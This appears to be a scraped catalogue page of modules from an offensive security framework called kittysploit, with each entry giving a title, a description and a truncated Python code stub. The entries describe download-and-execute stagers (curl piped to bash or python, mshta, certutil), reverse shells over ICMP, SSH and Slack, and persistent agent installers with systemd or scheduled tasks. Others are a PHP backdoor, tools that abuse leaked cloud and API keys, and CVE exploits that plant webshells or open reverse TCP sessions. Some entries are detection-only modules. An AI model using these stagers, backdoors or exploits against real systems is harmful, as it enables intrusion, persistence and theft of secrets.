WebSocket / SSE Auth Probe

Tests Socket.io polling transports, SSE streams, and realtime paths for unauthenticated access, open CORS, and missing Origin enforcement. !/usr/bin/env python3 -- coding: utf-8 -- """Probe WebSocket Socket.io and SSE endpoints for weak auth and Origin checks.""" from kittysploit import from...

Auth0 Passwordless Enumeration

Uses leaked Auth0 domain and clientid to probe /passwordless/start for active email magic-link and OTP flows. !/usr/bin/env python3 -- coding: utf-8 -- """Probe Auth0 passwordless email link and OTP flows.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Stripe Webhook Secret Abuse

Discovers whsec webhook secrets and probes common Stripe webhook paths. Tests unsigned acceptance and HMAC-signed delivery with leaked secrets. !/usr/bin/env python3 -- coding: utf-8 -- """Test Stripe webhook endpoints with leaked whsec signing secrets.""" from kittysploit import from...

PlanetScale Branch Enumeration

Uses leaked PlanetScale service tokens pscaletkn and connection URLs to list organizations, databases, and branches via the PlanetScale API. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate PlanetScale organizations, databases, and branches.""" from kittysploit import from...

Windows Download Stager, mshta remote HTA

Runs mshta.exe against a hosted HTA stager.hta. Generate HTA with payloads/singles/cmd/windows/htareversetcp or hoststager generate --name stager.hta. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildmshtaremote, buildstagerurl class...

Kitty Agent Installer Pack

Writes kittyagent.py plus installlinux.sh systemd and/or installwindows.ps1 scheduled task. Controller: listeners/multi/reversehttppolling. from kittysploit import from lib.c2.agentinstaller import buildinstallreadme, buildlinuxinstallsh, buildwindowsschtasksinstallps1, from lib.c2.agentspec impo...

Firestore Rules Audit

Discovers Firestore projectId from Firebase config and probes common collections users, admin, orders… for unauthenticated REST read access. !/usr/bin/env python3 -- coding: utf-8 -- """Deep Firestore rules audit with collection enumeration.""" from kittysploit import from...

Reverse ICMP Listener

Receives ICMP Echo Request packets from pythonreverseicmp agents. Requires scapy and CAPNETRAW / Administrator. Sends commands via ICMP Echo Reply payloads CMD:, PING, EXIT. !/usr/bin/env python3 -- coding: utf-8 -- """ICMP covert reverse shell listener pairs with pythonreverseicmp payload."""...

gRPC-Web Method Enumeration

Probes gRPC-Web and HTTP-transported gRPC paths for reflection, health checks, and service/method routes embedded in JS bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate gRPC-Web services and methods over HTTP.""" from kittysploit import from lib.protocols.http.httpclient import...

Redis BIND Session

BIND payload for listeners/database/redis !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "Redis BIND Session", "description": "BIND payload for listeners/database/redis", "category":...

Azure VM Run Command BIND

BIND payload for listeners/azure/runcommand. After VM metadata is known, the framework runs commands via Azure Run Command operator-side SDK. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModulePayload: info = "name": "Azure VM Run Command BIND", "description": "BIND...

Covert Channel Agent Installer Pack

Writes email or Slack polling agent plus Linux systemd / Windows schtasks install scripts. Email: listeners/email/reverseemail. Slack: listeners/messaging/slacksocketmode. from kittysploit import from lib.c2.agentinstaller import buildinstallreadme, buildlinuxinstallsh,...

RPM Package Creator (Kitty Agent)

Builds a noarch RPM with Kitty HTTP polling agent and systemd persistence. Pure Python generation works on Windows/macOS/Linux. Controller: listeners/multi/reversehttppolling. from kittysploit import import os import shutil from pathlib import Path from lib.c2.agentinstaller import buildsystemdun...

OAuth PKCE / Refresh Token Misconfiguration Detection

Extends JWT/OAuth coverage with PKCE-not-required authorize flows, refresh token grant endpoints, and OpenID Connect discovery metadata. !/usr/bin/env python3 -- coding: utf-8 -- """OAuth/OIDC advanced misconfig: PKCE optional, refresh token endpoints, OIDC discovery.""" from kittysploit import...

Windows Schtasks Kitty Agent Pack

Writes kittyagent.py and installwindows.ps1 hidden pythonw + schtasks. Complements LOLBAS stagers with durable persistence. Controller: listeners/multi/reversehttppolling. from kittysploit import from lib.c2.agentinstaller import buildinstallreadme, buildwindowsschtasksinstallps1 from...

Python Reverse SSH Client

Connect back to listeners/multi/reversessh with username/password and spawn an interactive shell over the SSH channel. !/usr/bin/env python3 -- coding: utf-8 -- """Paramiko-based reverse SSH client for listeners/multi/reversessh.""" from kittysploit import class ModulePayload: CLIENTLANGUAGE =...

Vercel Preview Environment Leak Detection

Deep-scans Vercel/Netlify preview deploys for production secrets in env.js, vercel.json, .vercel/project.json, and Next.js bundles. Flags env mismatches. !/usr/bin/env python3 -- coding: utf-8 -- """Deep Vercel/Netlify preview deploy environment leak detection.""" from kittysploit import from...

Pusher / Liveblocks Channel Enumeration

Uses leaked Pusher app credentials or Liveblocks secret keys to list active channels/rooms. Auto-discovers from SPA bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate Pusher channels and Liveblocks rooms using leaked secrets.""" from kittysploit import from...

Unix Download Stager, curl | python (reverse TCP)

Downloads a hosted Python stager from stagerurl and pipes it to python3. Host the script first: save output of 'generate' on payloads/singles/cmd/multi/pythonthinstager to stager.py, then run 'python -m http.server' on stagerport. Delivers a reversetcp session after second stage runs. !/usr/bin/e...

Supabase Realtime Channel Abuse

Joins Supabase Realtime Phoenix channels for PostgREST tables using a leaked anon or servicerole key — tests RLS bypass on live subscriptions. !/usr/bin/env python3 -- coding: utf-8 -- """ Abuse Supabase Realtime channels using leaked anon/servicerole JWT keys. Follow-up for...

LangSmith / Langfuse Key Abuse

Uses leaked LangSmith lsv2 or Langfuse lfpk/lfsk keys to query observability APIs for traces and sessions. Auto-discovers from bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Abuse leaked LangSmith and Langfuse API keys to access traces and sessions.""" from kittysploit import from...

Elasticsearch BIND Session

BIND payload for listeners/database/elasticsearch !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "Elasticsearch BIND Session", "description": "BIND payload for...

Turso / Upstash API Enumeration

Uses leaked Turso API tokens to list databases and Upstash Redis REST URL/token pairs to verify live cache access. !/usr/bin/env python3 -- coding: utf-8 -- """ Enumerate Turso databases and Upstash Redis REST using leaked tokens. Follow-up for scanner/http/vibestacksecretsdetect. """ from...

Neon Database URL Validation

Parses leaked Neon postgres:// URLs .neon.tech and validates Neon Management API keys against /api/v2/projects. Auto-discovers from bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Validate leaked Neon database URLs and Management API keys.""" from kittysploit import from...

MSSQL BIND Session

BIND payload for listeners/database/mssql !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.databasebind import buildbindsessionhint class ModulePayload: info = "name": "MSSQL BIND Session", "description": "BIND payload for listeners/database/mssql", "category":...

Terraform State Secrets Detection

Probes common terraform.tfstate paths on the web root and extracts passwords, API keys, private keys, and connection strings from state JSON. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Terraform state files and extract sensitive values.""" from kittysploit import from...

Windows Download Stager, certutil EXE (reverse TCP)

Downloads a hosted Windows EXE via certutil and executes it. Build the EXE with payloads/singles/cmd/multi/pythonthinstager set compileexe=true, host on stagerport as stager.exe. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import...

Unix Download Stager, curl | bash

curl -fsSL stagerurl | bash — no Python required on target !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildcurlpipebash, buildstagerurl class ModulePayload: info = "name": "Unix Download Stager, curl | bash", "description": "curl -fsSL...

Python Slack Reverse Agent

Poll Slack channel for !ks cmd messages and post output. Pairs with listeners/messaging/slacksocketmode. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.slackreverseagent import buildslackreverseagentscript class ModulePayload: CLIENTLANGUAGE = "python" info = "name"...

PocketBase Admin Enumeration

Probes PocketBase /api/collections, /api/settings, and authenticates with leaked admin credentials to enumerate admin API surfaces. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate PocketBase admin surfaces and collections.""" from kittysploit import from lib.protocols.http.httpclient impor...

Kitty PHP HTTP Polling Drop-in

Writes a PHP script that polls listeners/multi/reversehttppolling. Deploy on a web host and trigger via cron, include, or HTTP request. from kittysploit import from lib.c2.agentinstaller import buildphppollingdropin from lib.c2.beaconprofile import BeaconProfile class ModuleBackdoor: """PHP drop-...

PostHog Analytics PII Enumeration

Uses leaked PostHog personal API keys phx to list projects and sample events that may contain emails and distinct IDs. Auto-discovers from bundles. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate PostHog projects and events PII using leaked personal API keys.""" from kittysploit import fro...

DjangoCRM Debug Info Disclosure (CVE-2026-71238)

CVE-2026-71238 in DjangoCRM 0.91 through 2.4.0: shipped webcrm/settings.py keeps DEBUG=True and uses secret URL prefixes as the only access gate. An unauthenticated bogus i18n 404 dumps the live URLconf, and /voip/get-callback/ returns a full technical500 debug page with source paths and framewor...

Gogs PutContents Symlink RCE (CVE-2025-8110)

Exploits CVE-2025-8110 in Gogs .git/config and a PutContents write poisons core.sshCommand for RCE on the following git push. Delivers the configured framework payload reversetcp session by default. Requires an account that can create a repository and the git client binary on the attacker host...

Open Notebook CVE-2026-33589 LFI Detect

Detects CVE-2026-33589 in Open Notebook = 1.8.3: POST /api/sources/json accepts type=upload with an unsanitized filepath, allowing arbitrary file read when OPENNOTEBOOKPASSWORD is unset. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Open Notebook CVE-2026-33589 unauthenticated LFI via...

LiteLLM Pre-Auth Blind SQLi (CVE-2026-42208)

CVE-2026-42208 in BerriAI LiteLLM 1.81.16 = version 1.83.7: the proxy virtual-key lookup builds SQL with WHERE v.token = 'token' and interpolates the raw bearer from failed auth logging. Inject via Authorization on LLM routes must NOT start with sk-. Calibrates timing, confirms pgsleep scales, th...

LiteLLM CVE-2026-42208 Blind SQLi Detect

Detects CVE-2026-42208 in BerriAI LiteLLM 1.81.16 = version 1.83.7: failed-auth logging passes the raw Authorization bearer into a virtual-key SQL lookup. Probes POST /v1/chat/completions with x'-prefixed pgsleep payloads never sk- and requires delay scaling plus a fast sk- control to rule out...

DbGate Script Runner RCE (CVE-2026-47668)

Exploits CVE-2026-47668 in DbGate ;// runs arbitrary Node.js as root. Anonymous POST /auth/login often yields a JWT. Delivers the configured framework payload reversetcp by default; set payload nopayload to capture verifycmd output via out.txt under /runners/data//. !/usr/bin/env python3 -- codin...

WordPress Core CVE-2026-64638 XSS2Shell Detect

Detects CVE-2026-64638 in WordPress Core 4.7.0 through 7.0.2: pre-auth reflected XSS via striptags/KSES parser differential on /wp-login.php. Fixed in 7.0.3 and backports. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WordPress Core CVE-2026-64638 XSS2Shell parser differential.""" from...

Prometheus Azure AD Secret Disclosure (CVE-2026-42151)

CVE-2026-42151 in Prometheus 2.48.0–3.5.2 and 3.6.0–3.11.2: OAuthConfig.ClientSecret was typed as a plain Go string instead of configutil.Secret. When Prometheus serializes its running config via /api/v1/status/config or /-/config, the real Azure AD clientsecret is emitted in plaintext instead of...

WordPress Core XSS2Shell RCE (CVE-2026-64638)

Exploits CVE-2026-64638 in WordPress Core 4.7.0 through 7.0.2: a striptags/KSES parser differential on /wp-login.php injects live DOM id=ajaxurl clobber. Default mode confirms the unauthenticated XSS primitive. With SERVE=true, hosts the full chain Application Password theft - REST - plugin uploa...

Ollama CVE-2026-7482 GGUF OOB Read Detect

Detects CVE-2026-7482 in ollama/ollama 0.17.1: uploads a malicious GGUF declaring a 1024×1024 F16 tensor in a 512-byte file and triggers POST /api/create with quantize=Q80. Vulnerable servers return "status":"success" and materialize a 1.1 MB Q80 layer from heap OOB reads; patched servers reject...

WordPress WP Maps Blind SQLi (CVE-2026-39492)

Exploits CVE-2026-39492 in WP Maps bool: , sigma, threshold, samplecount = self.module.wpmapsbaselineself.module.wpbase if samplecount 3.0: return False self.threshold = threshold return True def probeself, condition: str - float: self.requests += 1 payload = self.module.wpmapsifpayloadcondition,...

WordPress WP Maps CVE-2026-39492 Detect

Detects WP Maps wp-google-map-plugin = 4.9.1 vulnerable to CVE-2026-39492: unauthenticated time-based blind SQLi in wpgmpajaxcall via backtick-wrapped locationid bypassing escsql. Fixed in 4.9.2. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WP Maps CVE-2026-39492 blind SQLi = 4.9.1.""" fro...

Gitea/Forgejo Diffpatch Hook RCE (CVE-2026-60004)

Exploits CVE-2026-60004 in Gitea/Forgejo 1.27.1: register or use supplied credentials, create a repository, submit the same malicious diffpatch twice to trigger an add/add conflict that writes hooks/post-index-change, then execute a command via the auto-fired git hook. !/usr/bin/env python3 --...

Gitea/Forgejo CVE-2026-60004 Diffpatch Detect

Detects Gitea or Forgejo instances potentially affected by CVE-2026-60004 unauthenticated/authenticated diffpatch git hook RCE via bare-clone add/add conflict on hooks/post-index-change. Fixed in Gitea 1.27.1. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Gitea/Forgejo CVE-2026-60004...

MediaWiki CVE-2026-58025 Import Deserialization

Authenticated exploit for CVE-2026-58025: upload a MediaWiki XML export with PHP-serialized via Special:Import. On vulnerable hosts, LogEntryBase::extractParams unserializes without allowedclasses. Use scanner/http/mediawikicve202658025detect for version checks. Requires import/importupload. No...

Joomla Aimy Captcha-Less Form Guard RCE (CVE-2026-65883)

Unauthenticated RCE in Aimy Captcha-Less Form Guard 18.0–20.0: recover the XOR keystream from the clfgd field, inject a FormattedtextLogger gadget, write a PHP webshell, then execute the configured payload. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2026-65883 — Aimy Captcha-Less Form Guard...

Joomla Aimy Captcha-Less Form Guard CVE-2026-65883 Detect

Detects the Aimy Captcha-Less Form Guard plugin clfgd field on Joomla forms. Versions 18.0–20.0 are affected by CVE-2026-65883 unauthenticated PHP object injection via XOR'd clfgd → unserialize. Patched in 20.1. Detection only — no gadget upload. !/usr/bin/env python3 -- coding: utf-8 -- """Detec...

Livewire PowerGrid CVE-2026-65971 sortDirection SQLi

Confirms/exploits CVE-2026-65971: SQL injection in power-components/livewire-powergrid = 6.0.0, 0 else self.delay 0.6 self.baseline = 0.0 self.requests = 0 def calibrateself - bool: self.baseline, = self.module.update"", "asc" self.requests += 1 return self.true"1=1" and not self.true"1=2" def...